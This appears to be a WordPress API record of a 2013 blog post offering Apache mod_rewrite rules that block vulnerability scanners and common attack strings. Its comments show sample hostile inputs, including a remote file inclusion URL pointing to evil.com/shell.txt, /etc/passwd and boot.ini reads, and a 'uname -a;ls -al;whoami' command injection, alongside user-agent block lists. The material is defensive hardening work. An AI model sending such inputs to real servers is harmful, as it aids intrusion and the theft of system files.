{"id":2069,"date":"2013-06-10T15:48:26","date_gmt":"2013-06-10T07:48:26","guid":{"rendered":"http:\/\/rmohan.com\/?p=2069"},"modified":"2013-06-10T15:52:15","modified_gmt":"2013-06-10T07:52:15","slug":"apache-mod_rewrite-security-rules-for-web-server-harding","status":"publish","type":"post","link":"https:\/\/mohan.sg\/?p=2069","title":{"rendered":"Apache mod_rewrite security rules for Web server harding"},"content":{"rendered":"<p># Hardened Apache Mod_Rewrite Security Rule<br \/>\n# Ref: http:\/\/httpd.apache.org\/docs\/2.0\/mod\/mod_rewrite.html#rewritecond<br \/>\n# NC = &#8216;nocase|NC&#8217; (no case-sensitive)<br \/>\n# OR = &#8216;ornext|OR&#8217; (or next condition)<br \/>\n# L = last rule<br \/>\nRewriteEngine on<\/p>\n<p># Allow only GET and POST verbs<br \/>\n# &#8216;Coz most vul scanners use HEAD for hunting buggy files existence<br \/>\nRewriteCond %{REQUEST_METHOD} !^(GET|POST)$ [NC,OR]<br \/>\n# Ban Non-GUI Browsers<br \/>\nRewriteCond %{HTTP_USER_AGENT} ^.*(lynx|wget).* [NC,OR]<\/p>\n<p># Ban Typical Vulnerability Scanners and others<\/p>\n<p>RewriteCond %{HTTP_USER_AGENT} ^()$ [NC,OR] # void of UserAgent<\/p>\n<p># Known Web vulnerabilty Scanners<\/p>\n<p>RewriteCond %{HTTP_USER_AGENT} ^.*(syhunt|sqlmap|WhatWeb|Netsparker|w3af|Nstalker|acunetix|qualys|nikto|wikto|pikto|pykto).* [NC,OR]<\/p>\n<p># Random Underground Web Exploit Scanners<\/p>\n<p>RewriteCond %{HTTP_USER_AGENT} ^.*(javascript\\:alert|0d\\s0a|ZeW|SlimBrowser|drone|DataCha|SBIder|Shelob|MobileRunner|Microsoft\\sOffice|Plesk|Itah|Mosill|Internet\\sExplorer\\s4\\.01|al_viewer|NetSeer|MSFrontPage|Yandex|webcollage|lwp\\-trivial|Isidorus|core\\-project|\\&lt;script\\&gt;|Toata\\sdragostea\\smea\\spentru\\sdiavola|StackRambler|Firebat|Y\\!J\\-SRD|ZmEu|libwww|perl|java|curl|ruby|python|scan|fuck|kiss|ass|Morfeus|0wn|hack|h4x|h4x0r).* [NC,OR]<br \/>\n# Denial-of-Service Tool<br \/>\nRewriteCond %{HTTP_USER_AGENT} ^.*(ApacheBench).* [NC,OR]<\/p>\n<p>RewriteCond %{HTTP_USER_AGENT} ^.*(WWW\\-Mechanize|revolt|Crawl|Mail\\.Ru|Walker|sbide|findlinks|spide|Ace\\sExplorer|winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]<\/p>\n<p># Disable access to cgi-bins if not used<br \/>\nRewriteCond %{REQUEST_URI} ^\/(cgi\\.cgi|webcgi|cgi\\-914|cgi\\-915|bin|cgi|mpcgi|cgi\\-bin|ows\\-bin|cgi\\-sys|cgi\\-local|htbin|cgibin|cgis|scripts|cgi\\-win|fcgi\\-bin|cgi\\-exe|cgi\\-home|cgi\\-perl|scgi\\-bin)\/ [NC,OR]<br \/>\n# Block out common attack strings<br \/>\n# Additional filtering can be put into<br \/>\n# HTTP_USER_AGENT, HTTP_REFERER, HTTP_COOKIE,HTTP_FORWARDED,HTTP_ACCEPT<\/p>\n<p># Directory Traversal, Null Byte Injection, HTTP Response Splitting<br \/>\nRewriteCond %{QUERY_STRING} ^.*(\\.\\.\\\/|\\.\\.%2f|\\.\\.%5C|\\.\\.%252F|\\.\\.%255C|\\.\\.%u2215|%u002e%u002e%u2215|%252e%252e%252f|%00|\\\\x00|\\\\u00|%5C00|%09|%0D%0A) [NC,OR]<\/p>\n<p># SQL Injection Probing<br \/>\nRewriteCond %{QUERY_STRING} ^.*(\\@\\@version|CHR\\(|CHAR\\(|UNION%20SELECT|\/select\/|\/union\/|\/insert\/|\/update\/|\/delete\/).* [NC,OR]<br \/>\nRewriteCond %{QUERY_STRING} ^.*(or|and)%20([0-9]=[0-9]).* [NC,OR]<br \/>\n# Remote\/Local File Inclusion<br \/>\n# RFI: yoursite.com\/?pg=http:\/\/evil.com\/shell.txt?<br \/>\n# LFI: yoursite.com\/?pg=\/logs\/access_log?<br \/>\nRewriteCond %{QUERY_STRING} .*(=https|=http|=ftp)(:\/\/|%3a%2f%2f).*\\?$ [NC,OR]<br \/>\nRewriteCond %{QUERY_STRING} (\\\/access_log|boot\\.ini|\\\/etc\\\/passwd|%2Fetc%2Fpasswd|c:\\\\boot\\.ini|c%3A\\\\boot\\.ini|c:\\\/boot\\.ini|c:%2Fboot\\.ini|c%3A%2Fboot\\.ini|c:boot\\.ini|c%3Aboot\\.ini).* [NC,OR]<\/p>\n<p># PHP Version Probing<br \/>\nRewriteCond %{QUERY_STRING} ^(=PHP).* [NC,OR]<\/p>\n<p># XSS Probing<br \/>\nRewriteCond %{QUERY_STRING} ^.*(\\&lt;|%3C).*script.*(\\&gt;|%3E) [NC,OR]<br \/>\nRewriteCond %{QUERY_STRING} ^.*(\/XSS\/).* [NC,OR]<\/p>\n<p># PHP GLOBALS Overriding<br \/>\nRewriteCond %{QUERY_STRING} GLOBALS(=|\\[|\\%[0-9A-Z]{0,2}) [NC,OR]<\/p>\n<p># PHP REQUEST variable Overriding<br \/>\nRewriteCond %{QUERY_STRING} _REQUEST(=|\\[|\\%[0-9A-Z]{0,2}) [NC,OR]<\/p>\n<p># PHP Command Injection Probing<br \/>\n# vuln.php?exec=uname -a;ls -al;whoami<br \/>\nRewriteCond %{QUERY_STRING} ^.*(=|;)(uname%20-|ls%20-|whoami).* [NC,OR]<\/p>\n<p># PHP CGI code execution<\/p>\n<p>RewriteCond %{QUERY_STRING} ^[^=]*$ [OR]<\/p>\n<p>RewriteCond %{QUERY_STRING} %2d|\\-<\/p>\n<p># Deny access<br \/>\nRewriteRule ^(.*)$ \/path\/to\/friendly_errror.php [F,L]<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Hardened Apache Mod_Rewrite Security Rule # Ref: http:\/\/httpd.apache.org\/docs\/2.0\/mod\/mod_rewrite.html#rewritecond # NC = &#8216;nocase|NC&#8217; (no case-sensitive) # OR = &#8216;ornext|OR&#8217; (or next condition) # L = last rule RewriteEngine on<\/p>\n<p># Allow only GET and POST verbs # &#8216;Coz most vul scanners use HEAD for hunting buggy files existence RewriteCond %{REQUEST_METHOD} !^(GET|POST)$ [NC,OR] # Ban Non-GUI [&#8230;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[],"_links":{"self":[{"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/posts\/2069"}],"collection":[{"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mohan.sg\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2069"}],"version-history":[{"count":4,"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/posts\/2069\/revisions"}],"predecessor-version":[{"id":2074,"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/posts\/2069\/revisions\/2074"}],"wp:attachment":[{"href":"https:\/\/mohan.sg\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2069"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mohan.sg\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2069"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mohan.sg\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2069"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}